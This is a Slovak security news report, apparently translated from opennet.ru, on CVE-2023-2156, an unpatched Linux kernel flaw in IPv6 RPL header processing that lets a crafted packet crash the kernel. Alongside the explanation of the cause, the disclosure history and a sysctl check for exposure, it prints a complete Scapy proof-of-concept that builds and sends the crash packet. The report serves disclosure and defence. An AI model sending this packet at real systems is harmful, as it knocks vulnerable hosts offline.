0-day zraniteľnosť IPv6 zásobníka Linuxu, ktorá umožňuje vzdialene spôsobiť pád jadra

Boli zverejnené informácie o neopravené (0-day) zraniteľnosti (CVE-2023-2156) v jadre Linux, ktorá umožňuje zastaviť činnosť systému prostredníctvom zasielania špeciálne upravených IPv6 paketov (packet-of-death). Problém sa prejavuje iba pri zapnutej podpore protokolu RPL (Routing Protocol for Low-Power and Lossy Networks), ktorý je vo väčšine distribúcií predvolene vypnutý a používa sa najmä na embedded zariadeniach pracujúcich v bezdrôtových sieťach s vysokou stratou paketov.

Zraniteľnosť je spôsobená nesprávnym spracovaním externých dát v kóde pre analýzu protokolu RPL, čo vedie k vyvolaniu asertívneho zlyhania a prechodu jadra do stavu panic. Pri umiestnení štruktúry k_buff (Socket Buffer) dát, ktoré sa získajú analýzou hlavičky IPv6 RPL paketu, ak je pole CmprI nastavené na hodnotu 15, pole Segleft na 1 a CmprE na 0, 48-bajtový vektor s adresami sa rozbalí na 528 bajtov a vzniká situácia, keď je pridelená pamäť pre buffer nedostatočná. V tomto prípade vo funkcii skb_push, ktorá sa používa na vloženie údajov do štruktúry, sa vykonáva kontrola na neprimeranosť veľkosti údajov a bufferu, čo vyvoláva stav panic, aby sa zabránilo zápisu mimo hraníc bufferu.

Príklad exploitu: # Použijeme Scapy na vytvorenie paketu from scapy.all import * import socket # Použite IPv6 z vašej LAN rozhrania DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Používame sockety na odoslanie paketu sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Vytvorte paket # Typ = 3 robí z tohto RPL paket # Adresy obsahujú 3 adresy, ale pretože CmprI je 15, # každý oktet prvých dvoch adries je považovaný za skomprimovanú adresu # Segleft = 1 na vyvolanie amplifikácie # lastentry = 0xf0 nastavuje CmprI na 15 a CmprE na 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) \/ IPv6ExtHdrSegmentRouting(type=3, addresses=["a8::", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Poslať tento zlý paket sockfd.sendto(bytes(p), (DST_ADDR, 0))

Je pozoruhodné, že vývojári jadra boli o zraniteľnosti informovaní už v januári 2022 a za uplynulých 15 mesiacov sa trikrát pokúsili problém odstrániť, vydaním opráv v septembri 2022, októbri 2022 a apríli 2023, ale zakaždým bolo opráv nedostatočné a zraniteľnosť sa podarilo reprodukovať. Nakoniec projekt ZDI, ktorý koordinoval prácu na odstránení zraniteľnosti, sa rozhodol zverejniť podrobnosti o zraniteľnosti, a to bez čakání na funkčné opravy v jadre.

Takže zraniteľnosť zostáva neopraviteľná. Zároveň je neefektívny patch, ktorý bol zahrnutý v jadre 6.4-rc2. Používateľom sa odporúča skontrolovať, či sa protokol RPL v ich systémoch nepoužíva, čo možno urobiť pomocou príkazu sysctl -a | grep -i rpl_seg_enabled.

Zdroj: opennet.ru

Kúpte si spoľahlivý hosting pre webové stránky s ochranou proti DDoS, VPS VDS servery 🔥 Kúpte si spoľahlivý hosting pre webové stránky s ochranou proti DDoS, VPS VDS servery | ProHoster